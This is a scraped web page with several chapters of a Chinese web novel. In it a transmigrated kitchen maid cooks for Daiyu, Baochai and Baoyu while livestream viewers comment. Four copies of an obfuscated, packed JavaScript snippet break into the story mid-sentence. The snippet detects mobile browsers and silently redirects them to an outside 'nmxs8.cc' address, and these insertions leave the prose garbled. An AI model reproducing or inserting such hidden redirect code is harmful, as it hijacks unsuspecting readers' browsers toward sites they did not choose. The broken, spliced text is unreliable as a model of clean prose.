;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273923|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑道，“宝姑娘若有什么想吃的，尽管吩咐就是。” 宝钗点点头：“我素日饮食清淡，倒也没什么特别要求的。” 柳五儿从怀中取出一个小瓷瓶，“这是我自己熬的枇杷露，最是润肺止咳。宝姑娘远道而来，想必车马劳顿，喝些这个能舒服些。” 宝钗她抬头看向柳五儿，忽然注意到她衣襟上沾着一点黄白色的碎屑，目光一顿。 柳五儿心头一跳，下意识往后退了半步。 宝钗似有所觉，目光在她沾着糕饼碎屑的袖口停留片刻，忽然莞尔一笑：“莺儿，去取些点心给这位妹妹，顺便把这枇杷露泡上一杯。” 莺儿把柳五儿给的瓷瓶拿上，往侧院去了。 见莺儿出去，宝钗才从袖中取出块帕子，状似无意地递到柳五儿面前：“妹妹衣襟上沾了东西，擦一下吧。” 柳五儿怔怔接过，想起白日里那块桂花糕，耳根一热，忙拍打衣袖：“定是收拾食盒时沾上的。”心里暗恼系统小团子也不提醒自己。 小团子还沉浸在被罚禁食点心的悲伤中，再加上晚饭吃的有些饱，这会儿缩在荷包里已经睡着了，哪还记得吃饭时信誓旦旦的保证。 没想到柳五儿晚上来找宝钗，还能把它再拉出来鞭尸一顿。 …… 直播间弹幕瞬间刷屏： 【啊啊啊宝姐姐好会！】 【宝钗肯定知道了！！】 【主播快醒醒！你被宝钗反攻略了！（急）】 【五儿：我当时害怕极了.jpg】 【薛蟠：所以没人关心摔跤的我吗？（哭唧唧）】 【五儿：危！偷吃证据确凿（狗头）】 【是犯罪证据吧，哈哈】 【名侦探?宝钗上线！】 …… 正说着，莺儿端着一碟玫瑰酥还有枇杷水进来：“姑娘，点心来了。” 宝钗示意莺儿将点心递给柳五儿：“这点心是南边做法，你尝尝可合口味。” 柳五儿接过点心，咬了一口，酥皮入口即化，玫瑰馅甜而不腻，不由赞道：“好吃！莺儿姐姐手艺可真好。” 莺儿得意地笑道：“那是自然，我家姑娘最爱吃的就是这个了，旁人做的都没我好！” 宝钗轻轻摇头：“莺儿，莫要夸口。” 柳五儿见气氛融洽，趁机道：“宝姑娘若是不嫌弃，改日我做了新点心，也送来给姑娘尝尝。” 宝钗微笑颔首：“那便多谢了。” 宝钗也拿起那杯枇杷露泡的水，凑近便闻到淡淡的果香和药香。 浅尝一口，雪梨的甘润、枇杷的酸甜便在唇齿间漫开，陈皮的一缕辛香在喉间若隐若现，川贝粉的微苦又恰到好处地压住了冰糖的甜腻，最后化作一丝凉意，顺着喉咙滑下去。 “这枇杷露味道倒是不错，可是用了川贝？” 正说着，院外传来一阵说笑声。宝玉的声音由远及近：“宝姐姐可歇下了？我带林妹妹来讨茶吃！” 8. 豆腐皮包子 帘子一掀，宝玉和黛玉跨进门来。 方才在贾母房里吃过饭，贾母说今日薛家姑娘来了，他俩要是得空也能过来转一圈，自己姊妹多聊聊天也是好的。 正好今日也不冷，吃完了饭，宝玉就叫着黛玉一块儿来了，还能顺路消消食。 黛玉今日穿着月白绣梅夹袄，腰间丝绦空荡荡——白日里那丑天鹅荷包竟不见了踪影。 她见柳五儿在此，眼尾微微一挑：“五儿倒比我们还勤快。” 这么晚了，谁能想到还有人来串门啊，柳五儿这会儿可是找不到什么借口了，呆站在一旁、欲哭无泪， “周嫂子让我帮忙给宝姑娘送一下簪子。” 黛玉轻哼一声，不知为何心中不痛快，“倒是有意思，偏凑巧是你碰上了呢。” 宝玉已凑到宝钗跟前：“好姐姐，什么好东西这样香？”他眼尖，一把抓过枇杷露瓷瓶，“咦，这是？” 又凑近一闻，“我知道了，枇杷露！” 宝钗笑着说道：“宝二爷倒是认得准，这是五儿送来的。” “怎得我们没有，独给宝姐姐一人，五儿真是小气。”宝玉撇嘴。 忽瞥见案上海棠簪，又兴致勃勃拈起，“这花样新鲜，妹妹戴着定然好看！”说着就往黛玉鬓边比划。 黛玉侧身避开，从袖中掏出个精巧的荷包扔给宝玉：“快把你袖子里那个还我，又不是什么好东西，也值得你藏半天？” 宝玉笑嘻嘻摸出换走的荷包——正是柳五儿绣的那只“抽象派天鹅”。 方才没仔细瞧，到了贾母屋里坐下，才看见林妹妹换了这么个荷包，逗得宝玉直笑，非要让黛玉摘下给他瞧瞧。 在贾母屋里，黛玉也不好跟宝玉闹起来，只好给他看了，谁知道宝玉拿上就不还她了！气得黛玉又羞又恼。 柳五儿见状，恨不能遁地而逃。老天爷啊，自己真是蠢如猪，蠢如猪啊！！ 宝钗看看这边，再看看那边，轻笑一声：“这荷包虽针脚稚嫩，倒有野趣。” 听见外面这么热闹，系统小团子也被吵醒了，好多人呀！进度条又能涨了！ 再仔细一听，哦豁，形势不对，继续装睡吧。 ...... 直播间弹幕： 【修罗场虽迟但到，我爱看，多来点！】 【宝钗看破不说破的样子像极了我吃瓜时的表情】 【五儿：谢邀，人在梨香院，脚趾已抠出梦幻芭比豪宅了】 【黛玉是不是吃醋了，哈哈】 【五儿：早知道绣个更丑的，这样就不会被发现了】 【只有我注意到宝玉又双叒顺走黛玉的东西了吗】 【五儿：现在挖地洞还来得及吗】 【弹幕：哈哈哈哈主播翻车现场】 【建议改行去马戏团表演平衡术（狗头）】 【五儿：我太难了.jpg】 【宝钗：这荷包我要了，黛玉：？？？】 ...... 柳五儿在一旁弱弱开口，“既然东西送到了，我就先回去了。” 宝钗叫住五儿，从匣子里取了支素簪，往她手里一塞：“这簪子倒与妹妹相配。” 柳五儿慌忙推拒：“这如何使得！” 宝钗不容分说地将簪子别在她鬓边，“就当是枇杷露的回礼了。” 黛玉忽然轻笑：“宝姐姐好大方，倒显得我小气了。”说着解下腰间荷包递给柳五儿，“既如此，这个也物归原主罢。” 柳五儿拿着荷包手足无措，直播间弹幕疯狂刷屏： 【宝钗这波反客为主绝了！】 【黛黛吃醋了！她绝对吃醋了！】 【五儿：弱小可怜.jpg】 宝玉左看看右看看，突然拍手：“五儿得了宝姐姐的簪子，林妹妹的荷包，独我没有——” 他眼巴巴望着宝钗，“好姐姐，也赏我个什么？” 宝钗从案上拈起块玫瑰酥塞给他：“快堵上你这张嘴吧。” 柳五儿拿着荷包，也不知道该怎么办了，“送出去的东西哪有拿回来的道理，莫不是林姑娘嫌我这小玩意不入眼？” “你分明知道不是这么回事，横竖是你的东西，随你处置去吧！” 黛玉也是恼了，转身就往出走。 宝玉见黛玉要走，连忙放下玫瑰酥追上去，一把拉住她的袖子：“好妹妹，这大晚上的，仔细绊着！” 黛玉甩开他的手，冷笑道：“我绊不绊着，与你何干？横竖有人替你操心。” 宝玉一愣，随即明白她话里有话，急得直跺脚：“颦儿这是哪里的话！我不过是瞧着那荷包有趣，想拿来看看罢了，你若不喜欢，我以后再不碰了还不成？” 宝钗在一旁温声道：“林妹妹莫恼，宝兄弟也不是有意的，不过是个玩笑话。” 黛玉闻言，回头瞥了宝钗一眼，“宝姐姐倒是了解他。” 宝玉夹在中间，左右为难，索性往地上一坐，耍起无赖来：“你们若再这样，我便不起来了！” 柳五儿站在一旁，生无可恋。 ...... 直播间弹幕已经炸了—— 【哈哈哈，宝玉：我直接摆烂！】 【五儿：我是谁我在哪我要回家...】 【宝玉：我不管我就要坐地上（撒泼打滚）】 【系统：装睡中勿扰zzz】 【建议主播下次带个盾牌再来（狗头）】 【这剧情比八点档还刺激，瓜子已备好】 【五儿：现在改行当隐形人还来得及吗】 ...... 就在这时，外头突然传来一阵脚步声，紧接着探春的声音响起：“哟，这是怎么了？大老远就听见你们闹腾。” 帘子一掀，探春、湘云、迎春三人走了进来，见宝玉坐在地上、黛玉冷着脸、宝钗也不语，顿时愣住了。 湘云眨了眨眼，笑道：“这是唱哪出啊？宝哥哥怎么坐地上了？” 宝玉见来了救星，立刻爬起来，笑嘻嘻道：“我这不是等着你们来扶我吗？” 黛玉见人多了，也不好再闹，只淡淡道：“天色不早了，我先回去了。” 宝玉连忙追上去：“好妹妹等等我，我送你！” ...... 屋内一时安静下来，只剩下直播间弹幕疯狂滚动—— 【探春：哥哥又在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273924|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上打滚了（扶额）】 【湘云：宝哥哥你这样好像我三岁表弟】 【黛玉：这破地方我一秒都不想多待】 【宝玉：颦儿等等我！】 【五儿：我是不是该溜了......】 柳五儿悄悄往门口挪了两步，干笑道：“姑娘们好，那个......我也先回去了？” 宝钗微微一笑：“去吧，路上小心。” 柳五儿如蒙大赦，转身就跑。 系统在小团子幽幽道：“宿主，进度条又涨了5%......但黛玉好感度降了，你确定要这么玩？” 柳五儿欲哭无泪：“......我这是造了什么孽啊！” ...... 柳五儿一路快走回屋，刚关上门，就揪住系统小团子的短尾巴，把它倒提起来， “好你个系统，晚上吃饭的时候怎么跟我保证的！两次！一天被撞见两次！不想完成任务就跟我直说，我这小心脏都快蹦出来了，你还能睡得着？” 小团子蹬着短腿挣扎：“宿主冤枉！明明是你自己绣的丑天鹅惹的祸！” 系统小团子本来也是个初入职场、兢兢业业的打工人，跟着柳五儿这么久，可是把社畜样学了个十足。 宿主靠得住，它也不用费什么劲，每天晒晒太阳、唠唠嗑，吃点点心、喝点汤，日子过得是悠哉悠哉。 今日可是翻了车了。但社畜本性已经腌透，“我知道”、“我错了”、“下次不敢了”……连招用的顺得很。 “还敢顶嘴？”柳五儿咬牙切齿，“罚你三天不许吃点心！” “不，两周！还有今天上午的份呢。” 小团子顿时蔫了，滚到墙角面壁思过。 ...... 今天这事弄得柳五儿脑子乱哄哄的，本想着明日给黛玉送早饭的时候，把枇杷露一块儿送了。 现在这可好了，林妹妹明日给不给她开门都不一定。 看着手上的荷包，柳五儿也是直叹气。 罢了罢了，明日做些好吃的，给林妹妹赔罪去吧。 次日，柳五儿起了个大早，开始熬豆浆。 黄豆昨天晚上就泡上了，这会儿在木盆里涨得圆滚滚的，手指一捻就脱了皮。 柳五儿支起小石磨，舀一勺黄豆、添一瓢井水，慢慢推着磨转。乳白的豆浆顺着石槽流进木桶，带着豆子特有的生味。 豆浆滤了三遍，倒进砂锅里熬开。 柳五儿今天要做的是豆腐皮包子。 这豆腐皮就是豆浆表面那层膜晒干得来的，味甘性平，能养胃、止咳、清肺热。 豆浆熬开还得一会儿，柳五儿先去准备馅料。 梅花肉要肥三瘦七，快刀剁成肉丁。撒上调味料，拿热油一泼，激发香味。 新挖的春笋，只取尖上最嫩的部分，切成细丝，在滚水里焯一遍，再切成丁。泡发的香菇伞盖肥厚，切成碎末，与肉馅拌起来。 那边豆浆也熬开了，表面一层皱纱似的薄膜渐渐凝结。柳五儿沿锅边轻轻一挑，晾在竹竿上，薄如蝉翼。 这膜结得快、晾得也快，杆子上晒上一排，多余的留着，下次用水一泡就能用了。 9. 赔罪 柳五儿把豆浆锅端到一边，换上蒸锅，开始包豆腐皮包子。 晾好的豆腐皮切成方形，用水浸着保持韧度。 柳五儿拿了一片豆腐皮摊在手心，再拿筷子挑些馅料放上去，把四边拢起，拿烫过的豌豆苗绑上收口。豆腐皮本就薄，透着皮还能隐约看见里面的馅料。 这东西吃着倒是没什么新意，不过包的小巧，做的时候要格外上心，也就更显诚意了。 等蒸笼上汽了，柳五儿就把豆腐皮包子一个个码进去，盖上盖子。 不过半刻钟，香气便从笼屉缝隙里钻出来，豆腐皮的豆香混着笋菇的清香，又隐隐透出点肉香。 柳五儿揭开盖子，豆腐皮吸饱了水汽，变得半透明，就像一层轻纱，蒙着里面的馅料。馅料的香气随着蒸汽扑面而来，味道更加浓郁。 她小心地夹起一个包子，轻轻咬开一角。里面还有一点汤汁流出，烫了柳五儿一下。 赶紧吹了两下，把汤汁吮吸掉，一口吃下去，豆腐皮的柔韧与馅料的鲜嫩在口中交织，梅花肉的油脂浸润了笋丁和香菇，春笋的脆爽中和了肉馅的厚重，满嘴都是鲜甜的味道。 ...... 直播间弹幕也开刷： 【啊啊啊这汤汁！我屏幕都舔湿了！】 【五儿被烫到的样子好可爱awsl】 【豆腐皮透光太绝了吧！真的不会破吗？】 【big胆！楼上是在质疑五儿的实力吗（狗头）】 【哪个天才想出的豌豆苗绑带，太精致了吧！】 【笋丁脆不脆？香菇嫩不嫩？求开吃播啊！】 【梅花肉yyds！油脂浸润的画面太罪恶了（馋哭）】 ...... 系统小团子在一旁咽口水的声音打破了早晨的宁静。 柳五儿看着这小团子，忽略小黑豆眼，还是很可爱亲人的。罢了罢了，这小包子又不是点心，孩子正是长身体的时候，饭还是要吃的。 柳五儿也是奇怪，这系统不知是自己贪吃，还是和其他系统不是一个系列的，她怎么不记得平时系统文里系统还要吃饭呢？ 不过这也不能按常理来看，毕竟这小团子啥也没有，更像是来摸鱼混日子的。 但该说不说，这些天也没白吃，好像还真圆润了些，就是显得眼睛更小了。 柳五儿不再多想，给小团子递了一个豆腐皮包子，把要给林妹妹送的装进食盒里，枇杷露放在下面，荷包也装在身上。 她深吸一口气，心中忐忑：“希望林姑娘能消消气......” 系统小团子嘴里塞着吃食，在一旁含糊不清地打气：“宿主加油！诚意满满，林妹妹一定会原谅你的！” 柳五儿苦笑着戳了戳它的脑袋：“但愿如此吧。”不再耽搁，赶紧出发了。 ...... 到了黛玉院里，就见外面没人，想来黛玉正在气头上，今天哪还有心思锻炼。 柳五儿轻叩院门，雪雁探头一看是她，眉头微蹙：“五儿姐姐？！” 赶在五儿要说话之前，雪雁把她拉到一旁，“昨夜姑娘从外头回来就心情不大好，宝二爷在后头跟着，姑娘也不让进来，不知是受了什么气，今早起来精神也不大好......” 柳五儿递过食盒，低声道：“这是我特意做的豆腐皮包子和枇杷露，还有......荷包。” 雪雁接过食盒，犹豫道：“可是......姑娘说不想见人......” 正说着，屋内传来黛玉清冷的声音，还伴着两声低咳：“咳咳......雪雁，是谁来了？” 柳五儿鼓起勇气，朝屋内道：“林姑娘，是我来赔罪的。” 屋内静默片刻，黛玉的声音缓了几分：“......进来吧。” 柳五儿进了屋里，就见黛玉倚在窗边，手中书卷半掩，面色看着确实差了些。 五儿心里暗自自责，怎么就管不住自己这张嘴，非要跟林妹妹怄气做什么？本来调养好些的身体，又被她气得......唉。 黛玉目光淡淡扫过柳五儿：“昨日不是与我闹气？今日倒知道来了。” 五儿把食盒放在案上，“姑娘快别跟我一般见识了，气坏了身子，可要把我们心疼死了。” 取出还冒着热气的豆腐皮包子，夹到小碟子里，凑到黛玉身边，“姑娘尝尝这包子吧，豆腐皮是清肺热的，里面用了春笋尖和梅花肉，我赶了个大早起来做的。” 柳五儿眼巴巴地瞧着黛玉。 黛玉眼波往下一扫，见那豆腐皮包子薄得能看见里头馅料颜色，倒是小巧玲珑。 奈何那香气一个劲儿往鼻子里钻——清鲜中带着笋尖的脆嫩，香菇的醇厚，偏又掺着一丝若有若无的豆香，勾得人食指大动。 她本待不理，奈何那香气一个劲儿往鼻子里钻——清鲜中带着笋尖的脆嫩，香菇的醇厚，偏又掺着一丝若有若无的豆香，勾得人食指大动。 黛玉早已习惯了这个时辰吃早饭，这会儿肚子倒是有些饿了，但现在就吃是不是有点...... 黛玉轻哼一声：“又是吃食，你当我这般好哄？” “姑娘权当可怜可怜我，看着姑娘吃得高兴，我就高兴了。” 雪雁也在一边添火，“五儿姐姐这做的真是精巧，我闻着都饿了。姑娘要是不吃…可就都进我肚子里了，五儿姐姐快给我尝尝！” 说着就作势要去拿这包子。 黛玉嗔了她一眼，“谁说我不吃了？” 柳五儿见黛玉神色稍缓，连忙夹起一个豆腐皮包子递到她唇边："姑娘尝尝，这春笋就取了笋尖，最是鲜嫩了，小心里面汤水烫着。" 黛玉眼睫微垂，目光落在那玲珑剔透的包子上，凑得近了，里面的馅料看着也更加清晰，隐约可见青翠的笋丁、褐色的香菇粒、粉嫩的肉馅。 终是抵不住香气诱惑，就着柳五儿的手轻咬一口。 豆腐皮柔韧中带着豆香，牙齿轻轻一碰便破开，内里鲜美的汤汁瞬间溢满口腔。春笋脆嫩，梅花肉鲜甜，香菇的醇厚恰到好处地调和了二者的滋味。 黛玉不自觉又咬了一口，待整个包子吃完，才发觉自己竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273925|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动伸手去拿第二个。 见黛玉有了胃口，柳五儿总算松了口气。 “姑娘慢些吃，小心烫着。” 又把底下夹层里的枇杷露取出来，交给雪雁， “劳烦姐姐去拿这枇杷露泡点水，我听着姑娘又咳嗽了，这枇杷是止咳润喉的，兴许管些用。” 雪雁见柳五儿拿枇杷露时，旁边露出荷包的一角，正是昨日给了姑娘的那个，怎么又回五儿手里了？再大致一想，也猜了个八九不离十。怕是昨天晚上姑娘出去碰见五儿，闹了些不愉快吧。 雪雁也就顺势拿过枇杷露，去外头泡水，让五儿和自己姑娘独自说说话， “那五儿姐姐可看着姑娘多吃几个！” ...... "荷包......"柳五儿从夹层中取出那个歪歪扭扭的天鹅荷包，别扭地递给黛玉，"我重新绣过了，虽然还是有点丑......" 黛玉接过荷包，只见原本抽象的天鹅轮廓被金线勾勒得清晰了些，水波纹也用银线重新绣过，角落里那团"浮萍"变成了一朵小小的梅花。她指尖抚过那些细密的针脚，忽然道："熬了一宿？" 柳五儿耳根一热，支吾道："反正也是睡不着......" 黛玉轻叹一声，“昨日的事，是我有些有些任性了。” “不不不，是我说话不过脑子。”柳五儿连连摆手， “宝姐姐给簪子原是她的心意，我非要较真，倒让姑娘为难了。” 黛玉将荷包系回腰间，忽然伸手戳了戳柳五儿的额头：“你这丫头，平日里机灵得很，偏在些小事上犯糊涂。我昨日......也不是真恼你。”她顿了顿，指尖摩挲着荷包上新绣的梅花，声音越来越轻，"只是见你与宝姐姐那般亲近，心里......" 见黛玉肯说出心结，柳五儿知道林妹妹这是心里不气她了，赶紧解释， “我这日日往姑娘这处跑，心在哪里姑娘还不知道吗？哪是一根簪子就能牵去的。这枇杷露本就是给姑娘准备的，只是这宝姑娘有热症，周嫂子叫我去送东西，就顺便送了一罐。” 黛玉自己身子弱，自是知道这得病的人不好受，急忙开口，“谁要跟她比这个了？你也不早些告诉我，怕是我这叫人白白笑话。” 柳五儿心里嘀咕：冤枉啊！！林妹妹你也没给我解释的机会啊！！！ ...... 【我就说黛玉是吃醋了吧！我嗑的CP是真的！！】 【五儿求生欲max：心在哪里姑娘还不知道吗…不知道吗…知道吗…道吗…吗】 【宝钗：人在家中坐，锅从天上来】 【雪雁：我在门外嗑瓜子看戏.jpg】 【啊啊啊这就是傲娇の原谅吗】 ...... 雪雁在门外偷偷观察，见自家姑娘和五儿姐姐说开了，端着泡好的枇杷水就进来了， “姑娘，这枇杷露闻着就香甜，您快趁热喝。” 黛玉接过茶盏，热气悠然而上，滚烫的蜜水透过杯盏，把手熨热了、心里也暖暖的。 10. 邀约 黛玉轻轻吹了口气，顺着杯边浅尝一口，枇杷的甘甜与川贝的微苦在舌尖交融，温热的蜜水顺着喉咙滑下，连带着胸口的郁结也舒缓了许多。 她抬眸看向柳五儿，眼中带着几分嗔意：“下次若再这般闹我......” “再不敢了！”柳五儿连忙举手发誓，逗得黛玉掩唇轻咳起来。 她下意识上前一步，手已经抚上黛玉的后背：“姑娘慢些喝，小心呛着。” 黛玉的咳嗽声渐止，却发觉柳五儿的手还停留在自己背上，隔着薄薄的春衫传来阵阵暖意。 她耳尖微红，却没有躲开，突然想起来，“你来的这么早，吃过饭没有？” 柳五儿一愣，自己着急给林妹妹赔罪，就尝了一个包子，哪来得及吃饭。 肚子适时地“咕噜”一声，引得黛玉轻笑。 “果然没吃。”黛玉摇头，从碟中夹起一个豆腐皮包子，递到柳五儿唇边，“你也尝尝，别饿坏了。” 柳五儿本想躲开：“这怎么行，这是专门给姑娘做的，本就没拿多少......” “叫你吃便吃。”黛玉佯装不悦，“莫非嫌我这筷子不干净？” 柳五儿只好乖乖张嘴，轻轻咬了一口，眯起眼，含糊道：“好吃！” ...... 直播间弹幕此刻疯狂刷屏： 【啊啊啊互相投喂！我死了我死了！】 【黛玉亲手喂食！五儿你何德何能！】 【这哪是赔罪现场，分明是婚宴现场（狗头）】 【前面的，我随200，记宝玉账上】 【宝二爷：？？？】 【黛黛口是心非的样子可爱死了！】 ...... 黛玉眼中笑意更深，正欲再喂她一口，忽听院外突然传来一阵脚步声，伴着宝玉清朗的声音：“林妹妹可在屋里？我带了好东西来给你——” 帘子一掀，宝玉大步跨了进来，一见屋内情形，顿时愣住。 只见黛玉手持银筷，正将半个包子往柳五儿嘴边送，两人挨得极近，姿态亲昵。 宝玉眨了眨眼，笑道：“哟，我这是来得不巧了？” 黛玉迅速收回手，脸颊微红：“宝哥哥胡说什么，五儿一早来送吃食，自己还未用饭，我不过是让她尝尝。” 宝玉凑上前，看了看案上的豆腐皮包子，赞道：“这包子做得精巧，快让我也尝一个！” 黛玉“啪”地打掉他的手：“没你的份。” “我拿玫瑰酥和颦儿换，如何？”宝玉还是不死心。 “谁稀罕你的玫瑰酥。”黛玉轻哼一声，却悄悄将食盒往柳五儿那边推了推。 柳五儿正想推辞，肚子却不争气地又叫了一声。 ...... 直播间弹幕瞬间笑疯： 【五儿的肚子：我为主人操碎了心】 【宝玉：你们继续，我V50让我加入！】 【这波是身体比嘴诚实】 【黛玉护食的样子太可爱了】 【五儿快跑！情敌见面分外眼红】 【《重生之我在红楼当怨种男主》】 【林?怼怼?黛玉稳定发挥】 ...... 宝玉捂着手装模作样：“好妹妹，昨日才说五儿偏心，怎么今日你也护起食来了，哎呦，我要！我要饿晕在林妹妹屋里了......” 一番表演，逗得黛玉直笑得落泪，“宝哥哥惯会贫嘴。” 见黛玉今日心情又好些了，宝玉也正经起来，“哪是贫嘴，我这一早就来给妹妹送好东西，妹妹连口包子也不叫我吃。” 黛玉不再跟着绕这话，给宝玉倒了一盏枇杷水，“喏，昨日在宝姐姐那连口水都没讨上，快尝尝五儿做的枇杷露。” “这还差不多。”宝玉低头尝了一口，“这味道确实比寻常的更清甜些。” ...... 【宝玉：终究是错付了】 【五儿：怂且乖巧.jpg】 【你们三个把日子过好了比什么都强！】 【dbq，能不能加宝姐姐一个，四个人正好凑桌麻将】 ...... 柳五儿见黛玉神色缓和，趁机道：“姑娘若喜欢，我明日再做些清淡的茯苓糕来？” 黛玉又捻起一只包子，小咬一口，眉眼舒展：“......随你。” 一杯水下肚，贾宝玉才想起今日来的要事，把随身带的盒子打开，给林妹妹瞧， “昨晚上北静王府送来的，说是长白山的老参，最是滋补。我想着林妹妹身子弱，便讨了来。” 黛玉拿过盒子一看，颜色微黄，有股浓郁的山林气息，透着自然的光泽，芦长、茎痕多，根须清疏而长，“确实不错。” 野参可以大补元气、补脾益肺，尤其适合脾胃气虚或肺气不足的人。 林黛玉这些年喝药，这东西也是见过不少的，稍一看就知道，这参起码是二十年以上的了。 “这东西我熬药都喝惯了，没什么意思，宝哥哥还是自己留着吧。” 林黛玉倒也不是还为昨天的事生气，只是她现在每天还在喝药，也不缺这药材。 北静王府送来应是孝敬老太太的，宝玉受宠，得了倒也没什么，若是让人知道是拿来给她用了，怕是要背后嚼舌根，还是不要的好。 “我要这什劳子人参做什么用？林妹妹既不要，这就是破东西，扔了就是！” 宝玉一连受挫，宝玉说着就要把人参盒子往窗外扔，黛玉连忙拦住：“宝哥哥这是做什么！” ...... 【人参：首先我没惹你们任何人】 【ber，哥们儿，破东西？你说人参是破东西？】 【急了急了.jpg】 ...... 柳五儿眼疾手快接住盒子，笑道：“宝二爷别恼，林姑娘是怕您破费。这参确实金贵，不如......” 柳五儿想起每天早上、天还没亮就打鸣的鸡，灵机一动，“不如我拿去炖个参鸡汤，宝二爷和林姑娘一起用？” 黛玉闻言，眼中闪过一丝笑意：“这倒是个好主意。” 宝玉这才不闹了，凑到黛玉身边：“还是五儿想得周到。林妹妹若是嫌药苦，我那儿还有上好的蜂蜜......” 柳五儿接过人参，仔细端详了一番，：“这参确实难得，若是炖汤，可配老母鸡，再加些枸杞、红枣，文火慢炖两个时辰，最是养人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15273926|166651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 宝玉点头：“既如此，不如就劳烦五儿姑娘帮忙做了，回头我与林妹妹一同用。” 黛玉轻哼一声：“谁要与你一同用？” 宝玉笑嘻嘻地凑近：“好妹妹，这人参可是特意为你讨的，你若不吃，岂不辜负了我的心意？” 黛玉别过脸去，耳根却悄悄红了。 柳五儿见状，抿唇一笑：“宝二爷放心，肯定不会浪费这么好的药材。不过做参鸡汤也用不了这么多，不如宝二爷拿走一半，剩下的我做鸡汤？” 黛玉也想到件事，“昨日我在宝姐姐那处也是有些......不如叫上宝姐姐一起吃？” ...... 【公鸡：我请问呢？？？】 【老母鸡：要索就索公鸡的命，别索我的命啊！】 【哈哈，五儿的修罗场，食材的焚身场～】 【能被五儿做成美食，也是鸡生无憾了，嘶哈嘶哈（口水流到太平洋了）】 【宝钗：人在屋里坐，鸡汤天上来，悠哉悠哉～】 【黛玉这波操作我服，修罗场秒变姐妹茶话会（狗头）】 ...... 宝玉眼睛一亮，但又摇了摇头：“林妹妹说的在理，但我听祖母说宝姐姐有些热症，这参鸡汤怕是不对症，还是不妥......” 柳五儿在一旁想出办法，“再给宝姑娘另做一道菜便是。” “那敢情好！”有了办法，宝玉也开始计划，“不如就定在明日午时？我让袭人把梨香院的小花厅收拾出来，那儿临水通风，最是清爽。” 黛玉指尖绕着帕子笑道：“宝哥哥也太心急了，总得给五儿准备的时间吧，我瞧后日午时正合适。再说了，要去梨香院吃，可和宝姐姐商量了？” 宝玉说道：“这有何难？我去说便是。” 黛玉想了想也没什么别的问题了，“那到时候让五儿帮忙做好，送到梨香院吧。” 却听宝玉突然拍案：“不行不行！五儿得亲自盯着火候——” 他凑近黛玉挤挤眼，“好妹妹，你难道不想尝尝现炖的鸡汤？咱们索性都去小厨房，边看炖汤边联句岂不有趣？” ...... 黛玉还未答话，直播间弹幕已炸开锅： 【宝二爷：只要思想不滑坡，修罗场秒变团建局！】 【《论宝玉如何把三人行变成四人桌游》】 【五儿：谢邀，锅铲都要抡出火星子了还联句？】 ...... “胡闹。”黛玉蹙眉，“厨房烟熏火燎的，岂是作诗的地方？” 宝玉正要辩解，院外忽传来声音，“宝二爷，老太太找你！” 雪雁掀开门帘一看，“是袭人姐姐。” 宝玉早上出来也没给人打招呼，见这会儿有事，只能匆匆拜别黛玉，“那就这么说定了！我们后日小花厅见！” 送走了宝玉，雪雁帮着把人参分开，柳五儿拿着做汤的那份，也准备回小厨房了。 系统小团子刚刚趁大家不注意，偷偷蹭到黛玉房间角落的桌边，正偷吃碟子里的茯苓糕。 柳五儿出门的时候把小团子一把拎走：“罚你不许吃点心，忘了吗？” 小团子：“嘤！” 11.竹笋炒腊肉 柳五儿回到小厨房时，柳嫂子正在灶前，处理柳五儿早晨剩下的竹笋。 “回来了？”柳嫂子抬头瞥了一眼柳五儿，手里动作不停，菜刀“笃笃”地落在砧板上，竹笋都被切成了薄片，断面还泛着水光。 案板旁边还放着一条腊肉，“娘这是要做竹笋炒腊肉？” 柳嫂子笑道，“你这丫头，这一箩筐的笋，就要了笋尖，剩下的都放这里，还不赶紧炒了吃？你就等着一天三顿吃笋子吧。” “哎呀，我早上做了点豆腐皮包子，娘这话说的，哪儿有一箩筐呀。只要是娘做，吃三天笋子都没问题！” 柳五儿三两句就把柳嫂子哄开心了，柳嫂子见五儿手上拿着个锦盒，好奇道：“这是拿的什么？” 